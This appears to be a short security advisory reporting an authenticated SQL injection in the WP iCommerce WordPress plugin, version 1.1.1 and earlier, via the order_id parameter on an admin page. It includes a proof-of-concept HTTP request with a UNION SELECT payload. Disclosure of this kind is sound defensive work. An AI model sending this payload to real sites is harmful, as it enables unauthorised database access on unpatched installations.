WP iCommerce <= 1.1.1 - Authenticated (contributor+) SQL Injection

The Orders functionality in the plugin has an order_id parameter which is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection. The feature is available to low privilege users such as contributors

PoC

GET /wp-admin/admin.php?page=wpic_order_page&order;_id=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,user(),NULL,NULL,NULL,NULL,NULL-- HTTP/1.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-GPC: 1 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: [contributor+] Connection: close